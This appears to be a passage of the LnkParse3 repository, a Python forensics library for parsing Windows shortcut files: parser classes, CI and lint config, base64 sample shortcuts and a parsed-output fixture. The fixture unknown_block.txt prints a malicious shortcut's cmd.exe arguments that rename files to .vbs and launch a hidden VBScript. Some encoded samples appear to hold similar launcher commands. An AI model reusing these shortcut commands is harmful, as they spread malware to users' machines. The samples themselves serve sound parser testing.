LH3JY87sG6smjhHrqEa/8m7q/vtBUlshr3khtWUWI88sfcljzuwbqyaOEeuoRr/ybur++0FQAAAAA 2 | -------------------------------------------------------------------------------- /.github/workflows/python-package.yml: -------------------------------------------------------------------------------- 1 | # This workflow will install Python dependencies, run tests and lint with a variety of Python versions 2 | # For more information see: https://help.github.com/actions/language-and-framework-guides/using-python-with-github-actions 3 | 4 | name: Python package 5 | 6 | on: 7 | push: 8 | branches: [master] 9 | pull_request: 10 | branches: [master] 11 | 12 | jobs: 13 | build: 14 | runs-on: ubuntu-latest 15 | strategy: 16 | matrix: 17 | python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"] 18 | 19 | steps: 20 | - uses: actions/checkout@v2 21 | - name: Set up Python ${{ matrix.python-version }} 22 | uses: actions/setup-python@v2 23 | with: 24 | python-version: ${{ matrix.python-version }} 25 | - name: Install dependencies 26 | run: | 27 | python -m pip install --upgrade pip 28 | python -m pip install . 29 | if [ -f requirements.txt ]; then pip install -r requirements.txt; fi 30 | - name: Lint with ruff 31 | run: | 32 | python -m pip install ruff 33 | ruff check LnkParse3 34 | ruff format LnkParse3 --check 35 | - name: Test with pytest 36 | run: | 37 | python -m pip install pytest 38 | python -m pip install pytest-cov 39 | export PYTHONPATH=src 40 | pytest --cache-clear --exitfirst --verbose --cov=LnkParse3 tests/ --cov-fail-under=80 --no-cov-on-fail 41 | -------------------------------------------------------------------------------- /LnkParse3/extra/special_folder.py: -------------------------------------------------------------------------------- 1 | from struct import unpack 2 | 3 | from LnkParse3.extra.lnk_extra_base import LnkExtraBase 4 | 5 | 6 | """ 7 | ------------------------------------------------------------------ 8 | | 0-7b | 8-15b | 16-23b | 24-31b | 9 | ------------------------------------------------------------------ 10 | | BlockSize == 0x00000010 | 11 | ------------------------------------------------------------------ 12 | | BlockSignature == 0xA0000005 | 13 | ------------------------------------------------------------------ 14 | | SpecialFolderID | 15 | ------------------------------------------------------------------ 16 | | Offset | 17 | ------------------------------------------------------------------ 18 | """ 19 | 20 | 21 | class SpecialFolder(LnkExtraBase): 22 | def name(self): 23 | return "SPECIAL_FOLDER_LOCATION_BLOCK" 24 | 25 | def special_folder_id(self): 26 | start, end = 8, 12 27 | return unpack(" BlockSize == 0x0000001C | 12 | ------------------------------------------------------------------ 13 | | BlockSignature == 0xA000000B | 14 | ------------------------------------------------------------------ 15 | | KnownFolderID | 16 | | 16 B | 17 | ------------------------------------------------------------------ 18 | | Offset | 19 | ------------------------------------------------------------------ 20 | """ 21 | 22 | 23 | class KnownFolder(LnkExtraBase): 24 | def name(self): 25 | return "KNOWN_FOLDER_LOCATION_BLOCK" 26 | 27 | @uuid 28 | def known_folder_id(self): 29 | start, end = 8, 24 30 | binary = self._raw[start:end] 31 | return binary 32 | 33 | def offset(self): 34 | start, end = 24, 28 35 | return unpack(" BlockSignature == 0x00000000 - 0x00000003 | 21 | ------------------------------------------------------------------ 22 | | appended data | 23 | ------------------------------------------------------------------ 24 | """ 25 | 26 | 27 | class Terminal(LnkExtraBase): 28 | def name(self): 29 | return "TERMINAL_BLOCK" 30 | 31 | def appended_data(self): 32 | start = 4 33 | return self._raw[start:] 34 | 35 | # Overwrite the usual size with the real appended data length 36 | def size(self): 37 | return 4 + len(self.appended_data()) 38 | 39 | def as_dict(self): 40 | tmp = super().as_dict() 41 | tmp["appended_data_sha256"] = hashlib.sha256(self.appended_data()).hexdigest() 42 | return tmp 43 | -------------------------------------------------------------------------------- /tests/samples/invalid_date: -------------------------------------------------------------------------------- 1 | TAAAAAEUAgAAAAAAwAAAAAAAAEaLAAgAEgAAAN/xeeYpY9YBB1xkx2dj1gEsliPoKWPWAQAQAAAAAAAAAQAAAAAAAAAAAAAAAAAAANkBFAAfUOBP0CDqOmkQotgIACswMJ0ZAC9FOlwAAAAAAAAAAAAAAAAAAAAAAAAAYAAxAAAAAAD6UEwwEABSYXp3YW4gQWxpAABGAAkABADvvvpQOTD6UKJyLgAAAC0AAAAAAAYAAAAAAAAAAAAAAAAAAADfYOAAUgBhAHoAdwBhAG4AIABBAGwAaQAAABoAZgAxAAAAAAD6UGRGEABSRUFDVCBOQVRJVkUAAEoACQAEAO+++lBGMPpQonIuAAAALgAAAAAAAQAAAAAAAAAAAAAAAAAAACE03ABSAEUAQQBDAFQAIABOAEEAVABJAFYARQAAABwAlgAxAAAAAAD6UKFxEABSZWFjdC1OYXZpZ2F0aW9uLXdpdGgtZHJhd2VyAABqAAkABADvvvpQZEb6UMx5LgAAAIZZAQAAAAEAAAAAAAAAAAAAAAAAAACN/VEAUgBlAGEAYwB0AC0ATgBhAHYAaQBnAGEAdABpAG8AbgAtAHcAaQB0AGgALQBkAHIAYQB3AGUAcgAAACwATgAxAAAAAAD6UGVGEgAuZ2l0AAA6AAkABADvvvpQZEb6UK56LgAAAIdZAQAAAAEAAAAAAAAAAAAAAAAAAADUvGMALgBnAGkAdAAAABQAAAB1AAAAHAAAAAEAAAAcAAAANwAAAAAAAAB0AAAAGwAAAAMAAABOLqIWEAAAAE5ldyBWb2x1bWUARTpcUmF6d2FuIEFsaVxSRUFDVCBOQVRJVkVcUmVhY3QtTmF2aWdhdGlvbi13aXRoLWRyYXdlclwuZ2l0AAAGAC4AXAAuAGcAaQB0AGAAAAADAACgWAAAAAAAAAByNHBjNQAAAAAAAAAAAAAARPhGVbvalkSmVAxnddUZy4Gj/EdVz+oRp2ig08EkASpE+EZVu9qWRKZUDGd11RnLgaP8R1XP6hGnaKDTwSQBKhsCAAAJAACgoQAAADFTUFPtML3aQwCJR6f40BOkc2YihQAAAGQAAAAAHwAAADoAAABSAGUAYQBjAHQALQBOAGEAdgBpAGcAYQB0AGkAbwBuAC0AdwBpAHQAaAAtAGQAcgBhAHcAZQByACAAKABFADoAXABSAGEAegB3AGEAbgAgAEEAbABpAFwAUgBFAEEAQwBUACAATgBBAFQASQBWAEUAKQAAAAAAAACMAAAAMVNQUzDxJbfvRxoQpfECYIye66wdAAAACgAAAAAfAAAABQAAAC4AZwBpAHQAAAAAABUAAAAPAAAAAEAAAAAAJlbnKWPWASkAAAAEAAAAAB8AAAAMAAAARgBpAGwAZQAgAGYAbwBsAGQAZQByAAAAFQAAAA4AAAAAQAAAACyWI+gpY9YBAAAAAKkAAAAxU1BTpmpjKD2V0hG11gDAT9kY0I0AAAAeAAAAAB8AAAA9AAAARQA6AFwAUgBhAHoAdwBhAG4AIABBAGwAaQBcAFIARQBBAEMAVAAgAE4AQQBUAEkAVgBFAFwAUgBlAGEAYwB0AC0ATgBhAHYAaQBnAGEAdABpAG8AbgAtAHcAaQB0AGgALQBkAHIAYQB3AGUAcgBcAC4AZwBpAHQAAAAAAAAAAAA5AAAAMVNQU7EWbUStjXBIp0hALqQ9eIwdAAAAaAAAAABIAAAAHbeXuQAAAAAAAIDyGwAAAAAAAAAAAAAAAAAAAA== 2 | -------------------------------------------------------------------------------- /LnkParse3/extra/icon.py: -------------------------------------------------------------------------------- 1 | from LnkParse3.extra.lnk_extra_base import LnkExtraBase 2 | 3 | 4 | """ 5 | ------------------------------------------------------------------ 6 | | 0-7b | 8-15b | 16-23b | 24-31b | 7 | ------------------------------------------------------------------ 8 | | BlockSize == 0x00000314 | 9 | ------------------------------------------------------------------ 10 | | BlockSignature == 0xA0000007 | 11 | ------------------------------------------------------------------ 12 | | TargetAnsi | 13 | | 260 B | 14 | ------------------------------------------------------------------ 15 | | TargetUnicode | 16 | | 520 B | 17 | ------------------------------------------------------------------ 18 | """ 19 | 20 | 21 | class Icon(LnkExtraBase): 22 | def name(self): 23 | return "ICON_LOCATION_BLOCK" 24 | 25 | def target_ansi(self): 26 | start = 8 27 | end = start + 260 28 | binary = self._raw[start:end] 29 | text = self.text_processor.read_string(binary) 30 | return text 31 | 32 | def target_unicode(self): 33 | start = 268 34 | end = start + 520 35 | binary = self._raw[start:end] 36 | text = self.text_processor.read_unicode_string(binary) 37 | return text 38 | 39 | def as_dict(self): 40 | tmp = super().as_dict() 41 | tmp["target_ansi"] = self.target_ansi() 42 | tmp["target_unicode"] = self.target_unicode() 43 | return tmp 44 | -------------------------------------------------------------------------------- /LnkParse3/extra/environment.py: -------------------------------------------------------------------------------- 1 | from LnkParse3.extra.lnk_extra_base import LnkExtraBase 2 | 3 | 4 | """ 5 | ------------------------------------------------------------------ 6 | | 0-7b | 8-15b | 16-23b | 24-31b | 7 | ------------------------------------------------------------------ 8 | | BlockSize == 0x00000314 | 9 | ------------------------------------------------------------------ 10 | | BlockSignature == 0xA0000001 | 11 | ------------------------------------------------------------------ 12 | | TargetAnsi | 13 | | 260 B | 14 | ------------------------------------------------------------------ 15 | | TargetUnicode | 16 | | 520 B | 17 | ------------------------------------------------------------------ 18 | """ 19 | 20 | 21 | class Environment(LnkExtraBase): 22 | def name(self): 23 | return "ENVIRONMENTAL_VARIABLES_LOCATION_BLOCK" 24 | 25 | def target_ansi(self): 26 | start = 8 27 | end = start + 260 28 | binary = self._raw[start:end] 29 | text = self.text_processor.read_string(binary) 30 | return text 31 | 32 | def target_unicode(self): 33 | start = 268 34 | end = start + 520 35 | binary = self._raw[start:end] 36 | text = self.text_processor.read_unicode_string(binary) 37 | return text 38 | 39 | def as_dict(self): 40 | tmp = super().as_dict() 41 | tmp["target_ansi"] = self.target_ansi() 42 | tmp["target_unicode"] = self.target_unicode() 43 | return tmp 44 | -------------------------------------------------------------------------------- /tests/samples/decoding_error3: -------------------------------------------------------------------------------- 1 | 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 2 | -------------------------------------------------------------------------------- /tests/json/unknown_block.txt: -------------------------------------------------------------------------------- 1 | Windows Shortcut Information: 2 | Guid: 00021401-0000-0000-C000-000000000046 3 | Link flags: HasTargetIDList | HasArguments | HasIconLocation | IsUnicode - (225) 4 | File flags: (0) 5 | Creation time: null 6 | Accessed time: null 7 | Modified time: null 8 | File size: 0 9 | Icon index: 3 10 | Windowstyle: SW_SHOWMINNOACTIVE 11 | Hotkey: UNSET - UNSET {0x0000} 12 | Header size: 76 13 | Reserved0: 0 14 | Reserved1: 0 15 | Reserved2: 0 16 | 17 | SIZE: 860 18 | 19 | TARGET: 20 | Size: 297 21 | Items: 22 | - Root Folder: 23 | Sort index: My Computer 24 | Sort index value: 80 25 | Guid: 20D04FE0-3AEA-1069-A2D8-08002B30309D 26 | - Volume Item: 27 | Flags: '0xf' 28 | Data: C:\ 29 | - File entry: 30 | Flags: Is directory 31 | File size: 0 32 | Modification time: null 33 | File attribute flags: 16 34 | Primary name: Windows 35 | - File entry: 36 | Flags: Is directory 37 | File size: 0 38 | Modification time: null 39 | File attribute flags: 16 40 | Primary name: system32 41 | - File entry: 42 | Flags: Is file 43 | File size: 0 44 | Modification time: null 45 | File attribute flags: 0 46 | Primary name: cmd.exe 47 | Index: 78 48 | 49 | LINK INFO: {} 50 | 51 | DATA: 52 | Command line arguments: /c ren cfsdaacdfawd\*.vbss *.vbs &start \cfsdaacdfawd\aiasfacoiaksf.vbs&start explorer .android_secure&exit 53 | Icon location: '%SystemRoot%\System32\shell32.dll' 54 | 55 | EXTRA: 56 | SPECIAL FOLDER LOCATION BLOCK: 57 | Size: 16 58 | Special folder id: 37 59 | Offset: 213 60 | UNKNOWN BLOCK: 61 | - Size: 28 62 | Extra data sha256: 4f022b4bc7668d870e158010c9877224df1b9b07bd24ef32b731963232b15eb2 63 | - Size: 153 64 | Extra data sha256: 40ebe6ee6ad3303ae2db241742e857aee523b21553a51e2f6c2a2461f1010879 65 | 66 | -------------------------------------------------------------------------------- /ruff.toml: -------------------------------------------------------------------------------- 1 | line-length = 100 2 | 3 | [lint] 4 | ignore = [ 5 | # The formatter tries its best to split lines but it doesn't 6 | # enforce the line length limit. It is better to disable this rule. 7 | # https://www.flake8rules.com/rules/E501.html 8 | "E501", 9 | # Use formatter to manage quotes/doublequotes 10 | "Q000", 11 | "Q003", 12 | # First line should end with a period 13 | "D400", 14 | # one-blank-line-before-class 15 | "D203", 16 | # multi-line-summary-second-line 17 | "D213", 18 | # Allow unnecessary assignment before return 19 | "RET504", 20 | # Default stack level 1 for warning is good enough 21 | "B028", 22 | # Skip until using type checking 23 | "RUF012", 24 | # Allow lowercase names 25 | "N802", 26 | # Allow LnkFile/lnk_file inconsistency 27 | "N813", 28 | "N999", 29 | # Allow old fashion of format strings 30 | "UP031", 31 | # Keep support for outdated version a bit longer 32 | "UP036", 33 | # Allow try-except in loop 34 | "PERF203", 35 | # Stick to old fashion open 36 | "PTH123", 37 | ] 38 | select = [ 39 | "E", # pycodestyle 40 | "W", # pycodestyle warnings 41 | "F", # Pyflakes 42 | "UP", # pyupgrade 43 | "I", # isort 44 | "Q", # flake8-quotes 45 | "RUF", # ruff specific rules 46 | "N", # pep8-naming 47 | "B", # flake8-bugbear 48 | "SIM", # flake8-simplify 49 | "C4", # flake8-comprehensions 50 | "PT", # flake8-pytest-style 51 | "RSE", # flake8-raise 52 | "SLF", # flake8-self 53 | "ARG", # flake8-unused-arguments 54 | "PTH", # flake8-use-pathlib 55 | "R", # Refactor 56 | "PERF", # Perflint 57 | "FURB", # refurb 58 | ] 59 | # Allow fix for all enabled rules (when `--fix`) is provided. 60 | fixable = ["ALL"] 61 | 62 | [lint.isort] 63 | order-by-type = false 64 | force-single-line = true 65 | lines-after-imports = 2 66 | 67 | [lint.flake8-quotes] 68 | inline-quotes = "single" 69 | 70 | [format] 71 | # Like Black, indent with spaces, rather than tabs. 72 | indent-style = "space" 73 | -------------------------------------------------------------------------------- /LnkParse3/info_factory.py: -------------------------------------------------------------------------------- 1 | import struct 2 | import warnings 3 | 4 | from LnkParse3.info.local import Local 5 | from LnkParse3.info.network import Network 6 | 7 | 8 | class InfoFactory: 9 | def __init__(self, lnk_info): 10 | self._lnk_info = lnk_info 11 | 12 | def _volume_id_and_local_base_path(self): 13 | """ 14 | If set, the VolumeID and LocalBasePath fields are present, and their 15 | locations are specified by the values of the VolumeIDOffset and 16 | LocalBasePathOffset fields, respectively. If the value of the 17 | LinkInfoHeaderSize field is greater than or equal to 0x00000024, the 18 | LocalBasePathUnicode field is present, and its location is specified by 19 | the value of the LocalBasePathOffsetUnicode field. 20 | If not set, the VolumeID, LocalBasePath, and LocalBasePathUnicode 21 | fields are not present, and the values of the VolumeIDOffset and 22 | LocalBasePathOffset fields are zero. If the value of the 23 | LinkInfoHeaderSize field is greater than or equal to 0x00000024, the 24 | value of the LocalBasePathOffsetUnicode field is zero. 25 | """ 26 | return bool(self._lnk_info.flags() & 0x0001) 27 | 28 | def _common_network_relative_link_and_path_suffix(self): 29 | """ 30 | If set, the CommonNetworkRelativeLink field is present, and its 31 | location is specified by the value of the 32 | CommonNetworkRelativeLinkOffset field. 33 | If not set, the CommonNetworkRelativeLink field is not present, and the 34 | value of the CommonNetworkRelativeLinkOffset field is zero. 35 | """ 36 | return bool(self._lnk_info.flags() & 0x0002) 37 | 38 | def info_class(self): 39 | try: 40 | if self._volume_id_and_local_base_path(): 41 | return Local 42 | if self._common_network_relative_link_and_path_suffix(): 43 | return Network 44 | return None 45 | except struct.error as e: 46 | warnings.warn(f"Error while selecting proper Info class: {e!r}") 47 | return None 48 | -------------------------------------------------------------------------------- /tests/samples/sample13: -------------------------------------------------------------------------------- 1 | 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 2 | -------------------------------------------------------------------------------- /tests/samples/decoding_error2: -------------------------------------------------------------------------------- 1 | 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 2 | -------------------------------------------------------------------------------- /tests/samples/decoding_error: -------------------------------------------------------------------------------- 1 | TAAAAAEUAgAAAAAAwAAAAAAAAEaLAAgAEAAAAMlihQ8UgdYBQNxQVRaB1gFA3FBVFoHWAQAQAAAAAAAAAQAAAAAAAAAAAAAAAAAAAI4CFAAfUOBP0CDqOmkQotgIACswMJ0UAC6AOsy/tCzbTEKwKX/pmofGQVYAMQAAAAAARU7xVhAAUG9zdERvYwBAAAkABADvvk5NVHJFTvFWLgAAAKaIAAAAAE0AAAAAAAAAAAAAAAAAAAAbAdoAUABvAHMAdABEAG8AYwAAABYAlgAxAAAAAADnUHtaEAAyMDE5MDF+MQAAfgAJAAQA775OTWly51B7Wi4AAAAIiQAAAAClAAAAAAAAAAAAAAAAAAAA0ya9ADIAMAAxADkAMAAxADAAMQAgAC0AIAAyADAAMQA5ADEAMgAzADEAIABLAFUAIABMAGUAdQB2AGUAbgAgAE0ARAAgAFMAUABJAEMAWQAAABgAYgAxAAAAAAAfUTONEABQVUJMSUN+MQAASgAJAAQA774iThyJH1EzjS4AAAB6CwAAAADnAgAAAAAAAAAAAAAAAAAA5QiLAHAAdQBiAGwAaQBjAGEAdABpAG8AbgBzAAAAGABWADEAAAAAAB9RPI0QADAyX01hamQAQAAJAAQA774fUS2NH1E8jS4AAABgWQAAAAA5AAAAAAAAAAAAAAAAAAAAYS3dADAAMgBfAE0AYQBqAGQAAAAWAGQAMQAAAAAAIVElpxAATUFKRFBZfjEAAEwACQAEAO++H1E1jSFRJacuAAAAw5ECAAAAkAAAAAAAAAAAAAAAAAAAANl3JAFNAGEAagBkACAAUAB5ACAARgBUAC0ASQBSAAAAGABcADEAAAAAACJR01UQAENTVkZJTH4xAABEAAkABADvviJRy1MiUdNVLgAAAF2bAgAAAHYAAAAAAAAAAAAAAAAAAADA3lEALgBDAFMAVgAgAGYAaQBsAGUAAAAYAAAAowAAABwAAAABAAAAHAAAAC0AAAAAAAAAogAAABEAAAADAAAA4LeExhAAAAAAQzpcVXNlcnNcSWJyYWhpbVxEZXNrd